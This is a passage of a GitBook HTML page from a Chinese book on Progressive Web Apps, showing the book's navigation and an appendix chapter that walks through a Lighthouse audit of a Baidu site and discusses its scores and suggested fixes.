href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"1-lighthouse.html\">\n            \n                <a href=\"1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"2-lighthouse-score-guide.html\">\n            \n                <a href=\"2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.11.3\" data-path=\"3-lighthouse-case.html\">\n            \n                <a href=\"3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >3 Lighthouse 使用案例</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#lighthouse-&#x4F7F;&#x7528;&#x6848;&#x4F8B;\"><b></b>Lighthouse &#x4F7F;&#x7528;&#x6848;&#x4F8B;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;\"><b></b>&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;\"><b></b>&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"lighthouse-&#x4F7F;&#x7528;&#x6848;&#x4F8B;\"><a name=\"lighthouse-&#x4F7F;&#x7528;&#x6848;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#lighthouse-&#x4F7F;&#x7528;&#x6848;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"lighthouse-&#x4F7F;&#x7528;&#x6848;&#x4F8B;\" class=\"plugin-anchor\" href=\"#lighthouse-&#x4F7F;&#x7528;&#x6848;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Lighthouse &#x4F7F;&#x7528;&#x6848;&#x4F8B;</h2>\n<p>&#x524D;&#x9762;&#x4E24;&#x8282;&#x6211;&#x4EEC;&#x5BF9; Lighthouse &#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x548C;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x8BA1;&#x7B97;&#x7684;&#x539F;&#x7406;&#x6709;&#x4E86;&#x4E00;&#x5B9A;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x4E0B;&#x9762;&#x6211;&#x4EEC;&#x4F7F;&#x7528; Lighthouse &#x5BF9;&#x4E00;&#x4E2A;&#x5B9E;&#x9645;&#x7AD9;&#x70B9; <a href=\"https://lavas.baidu.com/\" target=\"_blank\">https://lavas.baidu.com/</a> &#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#xFF0C;&#x770B;&#x770B; Lighthouse &#x80FD;&#x5BF9;&#x7AD9;&#x70B9;&#x63D0;&#x4F9B;&#x54EA;&#x4E9B;&#x65B9;&#x9762;&#x7684;&#x6539;&#x8FDB;&#x6307;&#x5BFC;&#x3002;</p>\n<h3 id=\"&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;\"><a name=\"&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;\" class=\"plugin-anchor\" href=\"#&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;</h3>\n<p>&#x4E3A;&#x4E86;&#x66F4;&#x76F4;&#x89C2;&#x5730;&#x5C55;&#x793A;&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;&#xFF0C;&#x6211;&#x4EEC;&#x4F7F;&#x7528; Chrome Devtools &#x4E2D;&#x96C6;&#x6210;&#x7684; Lighthouse &#x5DE5;&#x5177;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#x3002;</p>\n<ol>\n<li>&#x5728; Chrome &#x4E2D;&#x6253;&#x5F00; <a href=\"https://lavas.baidu.com/\" target=\"_blank\">https://lavas.baidu.com/</a></li>\n<li>&#x6253;&#x5F00; Chrome Devtools&#xFF0C;&#x5E76;&#x9009;&#x62E9; <code>Audits</code> &#x9762;&#x677F;</li>\n<li>Lighthouse &#x63D0;&#x4F9B;&#x4E86;&#x4E0D;&#x540C;&#x7684;&#x6A21;&#x62DF;&#x7F51;&#x7EDC;&#x73AF;&#x5883;&#x9009;&#x9879;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x9700;&#x6C42;&#x8FDB;&#x884C;&#x9009;&#x62E9;&#xFF0C;&#x70B9;&#x51FB; <code>Run Audits</code> &#x5F00;&#x59CB;&#x6D4B;&#x8BD5;&#x3002;</li>\n</ol>\n<h3 id=\"&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;\"><a name=\"&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;\" class=\"plugin-anchor\" href=\"#&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;</h3>\n<p>&#x7A0D;&#x7B49;&#x7247;&#x523B;&#xFF0C;Chrome &#x4F1A;&#x65B0;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x4F1A;&#x8BDD;&#x7A97;&#x53E3;&#xFF0C;&#x5C06;&#x5305;&#x542B;&#x5404;&#x9879;&#x8BC4;&#x5206;&#x6307;&#x6807;&#x7684; Lighthouse &#x6D4B;&#x8BD5;&#x62A5;&#x544A;&#x5C55;&#x793A;&#x51FA;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F9D;&#x6B21;&#x6765;&#x770B;&#xFF1A;</p>\n<h4 id=\"&#x603B;&#x4F53;&#x8BC4;&#x5206;\"><a name=\"&#x603B;&#x4F53;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x603B;&#x4F53;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x603B;&#x4F53;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#&#x603B;&#x4F53;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x603B;&#x4F53;&#x8BC4;&#x5206;</h4>\n<p>&#x62A5;&#x544A;&#x7684;&#x6700;&#x4E0A;&#x65B9;&#x662F;&#x603B;&#x4F53;&#x8BC4;&#x5206;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x7AD9;&#x70B9;&#x5728;&#x6027;&#x80FD;&#x3001;PWA&#x3001;&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x53CA; SEO &#x65B9;&#x9762;&#x7684;&#x8868;&#x73B0;&#x8FD8;&#x662F;&#x4E0D;&#x9519;&#x7684;&#xFF0C;&#x5728;&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x6307;&#x6807;&#x9879;&#x4E0A;&#xFF0C;&#x8BC4;&#x5206;&#x7A0D;&#x4F4E;&#xFF0C;&#x9700;&#x8981;&#x91CD;&#x70B9;&#x8FDB;&#x884C;&#x6539;&#x8FDB;&#x3002;</p>\n<p><img src=\"img/lavas_overall.png\" alt=\"overall\"></p>\n<p>&#x5177;&#x4F53;&#x5230;&#x6BCF;&#x4E00;&#x4E2A;&#x65B9;&#x9762;&#xFF0C;&#x90FD;&#x80FD;&#x67E5;&#x770B;&#x6307;&#x6807;&#x9879;&#x7684;&#x7EC6;&#x8282;&#xFF1A;</p>\n<h4 id=\"performance-&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><a name=\"performance-&#x6027;&#x80FD;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#performance-&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"performance-&#x6027;&#x80FD;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#performance-&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Performance &#x6027;&#x80FD;&#x8BC4;&#x5206;</h4>\n<p>&#x5728;&#x9009;&#x62E9;&#x7F51;&#x7EDC;&#x73AF;&#x5883;&#x4E3A; <code>No throttling</code> &#x7684;&#x6761;&#x4EF6;&#x4E0B;&#xFF0C;FCP&#xFF0C;FMP&#xFF0C;&#x9996;&#x6B21;&#x4EA4;&#x4E92;&#x65F6;&#x95F4;&#x7B49;&#x6307;&#x6807;&#x90FD;&#x80FD;&#x5F97;&#x5230;&#x8BE6;&#x7EC6;&#x7684;&#x7EDF;&#x8BA1;&#xFF0C;<code>View Trace</code> &#x8FD8;&#x80FD;&#x770B;&#x5230;&#x9875;&#x9762;&#x6BCF;&#x4E00;&#x5E27;&#x7684;&#x6E32;&#x67D3;&#x8FC7;&#x7A0B;&#x3002;</p>\n<p><img src=\"img/performance.png\" alt=\"performance\"></p>\n<p>Metrics &#x90E8;&#x5206;&#x7684;&#x6307;&#x6807;&#x4E0E;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x5173;&#x8054;&#x7D27;&#x5BC6;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5404;&#x4E2A;&#x6307;&#x6807;&#x9879;&#x90FD;&#x663E;&#x793A;&#x7EFF;&#x8272;&#xFF0C;&#x610F;&#x5473;&#x7740;&#x5B83;&#x4EEC;&#x90FD;&#x5F97;&#x5230;&#x4E86; 90-100 &#x7684;&#x5206;&#x503C;&#x3002;Opportunities &#x548C; Diagnostics &#x90E8;&#x5206;&#x7684;&#x6307;&#x6807;&#x9879;&#x867D;&#x7136;&#x4E0D;&#x7EB3;&#x5165;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;&#xFF0C;&#x4F46;&#x4E5F;&#x7ED9;&#x6211;&#x4EEC;&#x6539;&#x8FDB;&#x63D0;&#x4F9B;&#x4E86;&#x53C2;&#x8003;&#x3002;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x7AD9;&#x70B9;&#x5B58;&#x5728;&#x5B57;&#x4F53;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x4F18;&#x5316;&#x3001;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x7B49;&#x95EE;&#x9898;&#x3002;</p>\n<p><img src=\"img/diagno.png\" alt=\"Diagnostics\"></p>\n<h4 id=\"pwa-&#x8BC4;&#x5206;\"><a name=\"pwa-&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#pwa-&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x8BC4;&#x5206;</h4>\n<p>&#x5728;&#x57FA;&#x51C6;&#x6307;&#x6807;&#x68C0;&#x67E5;&#x4E2D;&#xFF0C;&#x6709;&#x4E00;&#x9879;&#x672A;&#x901A;&#x8FC7;&#xFF1A;Lighthouse &#x5EFA;&#x8BAE;&#x7AD9;&#x70B9;&#x9700;&#x8981;&#x5BF9; JavaScript &#x811A;&#x672C;&#x4E0D;&#x80FD;&#x6B63;&#x786E;&#x52A0;&#x8F7D;&#x7684;&#x60C5;&#x51B5;&#x4F5C;&#x964D;&#x7EA7;&#x5904;&#x7406;&#x3002;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x6539;&#x8FDB;&#x7684;&#x662F;&#xFF0C;&#x9875;&#x9762;&#x7684;&#x6838;&#x5FC3;&#x6E32;&#x67D3;&#x811A;&#x672C;&#x52A0;&#x8F7D;&#x5931;&#x8D25;&#x65F6;&#xFF0C;&#x4ECD;&#x80FD;&#x591F;&#x5C55;&#x793A;&#x57FA;&#x672C;&#x7684;&#x9759;&#x6001;&#x5185;&#x5BB9;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x7A7A;&#x767D;&#x9875;&#x9762;&#xFF0C;&#x8FD9;&#x4E00;&#x70B9;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#x6E32;&#x67D3;&#x7684; SPA &#x5E94;&#x7528;&#x4E2D;&#x5C24;&#x5176;&#x9700;&#x8981;&#x5F15;&#x8D77;&#x91CD;&#x89C6;&#x3002;&#x9664;&#x6B64;&#x4E4B;&#x5916;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x7AD9;&#x70B9;&#x7684;&#x5176;&#x4ED6; PWA &#x81EA;&#x52A8;&#x68C0;&#x67E5;&#x9879;&#x90FD;&#x5DF2;&#x7ECF;&#x901A;&#x8FC7;&#xFF0C;&#x7136;&#x540E;&#x624B;&#x52A8;&#x68C0;&#x67E5;&#x4E00;&#x4E0B;&#x8DE8;&#x6D4F;&#x89C8;&#x5668;&#x517C;&#x5BB9;&#x6027;&#x3001;&#x9875;&#x9762;&#x5207;&#x6362;&#x6D41;&#x7545;&#x5EA6;&#x3001;&#x9875;&#x9762; URL &#x7B49;&#x68C0;&#x67E5;&#x9879;&#x5373;&#x53EF;&#x3002;</p>\n<p><img src=\"img/pwa.png\" alt=\"PWA\"></p>\n<h4 id=\"&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x8BC4;&#x5206;\"><a name=\"&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x8BC4;&#x5206;</h4>\n<p><img src=\"img/access.png\" alt=\"accessibility\"></p>\n<p>&#x6B64;&#x9879;&#x8BC4;&#x5206;&#x504F;&#x4F4E;&#xFF0C;&#x4EC5;&#x5F97;&#x5230;62&#x5206;&#xFF0C;&#x8BF4;&#x660E;&#x7AD9;&#x70B9;&#x5728;&#x8FD9;&#x90E8;&#x5206;&#x5B58;&#x5728;&#x7684;&#x95EE;&#x9898;&#x8F83;&#x591A;&#x3002;&#x5C55;&#x5F00;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x95EE;&#x9898;&#x7684;&#x8BE6;&#x60C5;&#xFF0C;&#x5982; DOM &#x5143;&#x7D20;&#x4F7F;&#x7528;&#x4E0D;&#x89C4;&#x8303;&#x3001;&#x7ED3;&#x6784;&#x4E0D;&#x5408;&#x7406;&#xFF0C;&#x9875;&#x9762;&#x989C;&#x8272;&#x5BF9;&#x6BD4;&#x5EA6;&#x4E0D;&#x591F;&#xFF0C;Meta &#x4FE1;&#x606F;&#x4F7F;&#x7528;&#x4E0D;&#x6B63;&#x786E;&#x7B49;&#x7B49;&#xFF0C;&#x5982;&#x679C;&#x9700;&#x8981;&#x63D0;&#x9AD8;&#x7AD9;&#x70B9;&#x7684;&#x65E0;&#x969C;&#x788D;&#x53EF;&#x8BBF;&#x95EE;&#x6027;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4ECE;&#x8FD9;&#x4E9B;&#x65B9;&#x9762;&#x5BF9;&#x75C7;&#x4E0B;&#x836F;&#x8FDB;&#x884C;&#x5B8C;&#x5584;&#x3002;</p>\n<h4 id=\"best-practices-&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><a name=\"best-practices-&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#best-practices-&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"best-practices-&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#best-practices-&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Best Practices &#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;</h4>\n<p>&#x7AD9;&#x70B9;&#x5728;&#x8FD9;&#x90E8;&#x5206;&#x7684;&#x8868;&#x73B0;&#x4E2D;&#x89C4;&#x4E2D;&#x77E9;&#xFF0C;&#x901A;&#x8FC7;&#x4E86;15&#x4E2A;&#x68C0;&#x67E5;&#x9879;&#x4E2D;&#x7684;12&#x4E2A;&#xFF0C;&#x66B4;&#x9732;&#x4E86;3&#x4E2A;&#x95EE;&#x9898;&#xFF0C;&#x8D44;&#x6E90;&#x63A8;&#x8350;&#x4F7F;&#x7528; http2&#xFF0C;&#x8DE8;&#x57DF;&#x7684;&#x8DF3;&#x8F6C;&#x94FE;&#x63A5;&#x9700;&#x8981;&#x4F7F;&#x7528; rel &#x6807;&#x8BC6;&#xFF0C;&#x4E0D;&#x80FD;&#x4F7F;&#x7528;&#x5E9F;&#x5F03;&#x7684; API&#x3002;&#x4E0D;&#x901A;&#x8FC7;&#x68C0;&#x67E5;&#x6D4B;&#x8BD5;&#xFF0C;&#x5F00;&#x53D1;&#x4E2D;&#x6211;&#x4EEC;&#x5F88;&#x96BE;&#x6CE8;&#x610F;&#x5230;&#x8FD9;&#x4E9B;&#x7EC6;&#x8282;&#x95EE;&#x9898;&#x3002;</p>\n<p><img src=\"img/best_practice.png\" alt=\"practices\"></p>\n<h4 id=\"seo-&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#x8BC4;&#x5206;\"><a name=\"seo-&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#seo-&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"seo-&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#seo-&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>SEO &#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#x8BC4;&#x5206;</h4>\n<p><img src=\"img/seo.png\" alt=\"seo\"></p>\n<p>&#x7ED3;&#x679C;&#x663E;&#x793A;&#x7AD9;&#x70B9;&#x7684; robots.txt &#x6587;&#x4EF6;&#x7F3A;&#x5931;&#xFF0C;&#x9700;&#x8981;&#x6539;&#x8FDB;&#x3002;</p>\n<h3 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h3>\n<p>&#x901A;&#x8FC7;&#x4E0A;&#x8FF0;&#x7B80;&#x5355;&#x6F14;&#x793A;&#xFF0C;&#x6211;&#x4EEC;&#x5BF9;&#x7AD9;&#x70B9;&#x7684;&#x5404;&#x9879;&#x6307;&#x6807;&#x5C31;&#x80FD;&#x6709;&#x8F83;&#x4E3A;&#x76F4;&#x89C2;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x8BC4;&#x5206;&#x9AD8;&#x7684;&#x6307;&#x6807;&#x9879;&#x503C;&#x5F97;&#x79EF;&#x7D2F;&#x5F00;&#x53D1;&#x7ECF;&#x9A8C;&#xFF0C;&#x8BC4;&#x5206;&#x4F4E;&#x7684;&#x6307;&#x6807;&#xFF0C;&#x5BF9;&#x7167;&#x7740;&#x6D4B;&#x8BD5;&#x62A5;&#x544A;&#x7ED9;&#x51FA;&#x7684;&#x5EFA;&#x8BAE;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x9010;&#x4E00;&#x5B8C;&#x5584;&#x3002;</p>\n<p>Lighthouse &#x662F;&#x4E00;&#x4E2A;&#x5F00;&#x6E90;&#x7684;&#x9879;&#x76EE;&#xFF0C;&#x4E3B;&#x8981;&#x7531; Google Chrome &#x56E2;&#x961F;&#x5F00;&#x53D1;&#x7EF4;&#x62A4;&#xFF0C;&#x5B83;&#x5305;&#x542B;&#x4E86;&#x5F3A;&#x5927;&#x7684;&#x529F;&#x80FD;&#x548C;&#x8F83;&#x4E3A;&#x7E41;&#x8363;&#x7684;&#x5468;&#x8FB9;&#x751F;&#x6001;&#xFF0C;&#x672C;&#x7AE0;&#x53EA;&#x662F;&#x5C31;&#x5176;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#x3001;&#x6253;&#x5206;&#x673A;&#x5236;&#x3001;&#x6D4B;&#x8BC4;&#x6307;&#x6807;&#x7B49;&#x4F5C;&#x4E86;&#x7B80;&#x8981;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x5728;&#x5B9E;&#x9645;&#x7684; PWA &#x5DE5;&#x7A0B;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x80FD;&#x4F1A;&#x8FD0;&#x7528;&#x5230;&#x66F4;&#x8BE6;&#x7EC6;&#x7684;&#x914D;&#x7F6E;&#x9009;&#x9879;&#x548C;&#x6D4B;&#x8BD5;&#x53C2;&#x6570;&#xFF0C;&#x6216;&#x8005;&#x9700;&#x8981;&#x6DF1;&#x5165;&#x4E86;&#x89E3;&#x5176;&#x8FD0;&#x884C;&#x539F;&#x7406;&#xFF0C;&#x8FD9;&#x4E9B;&#x90FD;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; Github &#x4E0A;&#x7684;&#x9879;&#x76EE;&#x6587;&#x6863;&#x8FDB;&#x4E00;&#x6B65;&#x5B66;&#x4E60;&#x548C;&#x5B9E;&#x8DF5;&#x3002;&#x5DE5;&#x6B32;&#x5584;&#x5176;&#x4E8B;&#xFF0C;&#x5FC5;&#x5148;&#x5229;&#x5176;&#x5668;&#xFF0C;&#x6709;&#x4E86; Lighthouse &#x8FD9;&#x628A;&#x5229;&#x5668;&#x7684;&#x5E2E;&#x52A9;&#xFF0C;&#x6211;&#x4EEC;&#x6253;&#x9020;&#x4F53;&#x9A8C;&#x66F4;&#x597D;&#x7684; PWA &#x7AD9;&#x70B9;&#x5C06;&#x4E0D;&#x518D;&#x662F;&#x96BE;&#x4E8B;&#xFF01;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-lighthouse-score-guide.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 2 Lighthouse 评分指南\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../thanks.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 感谢\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"3 Lighthouse 使用案例\",\"level\":\"1.11.3\",\"depth\":2,\"next\":{\"title\":\"感谢\",\"level\":\"1.12\",\"depth\":1,\"path\":\"thanks.md\",\"ref\":\"thanks.md\",\"articles\":[]},\"previous\":{\"title\":\"2 Lighthouse 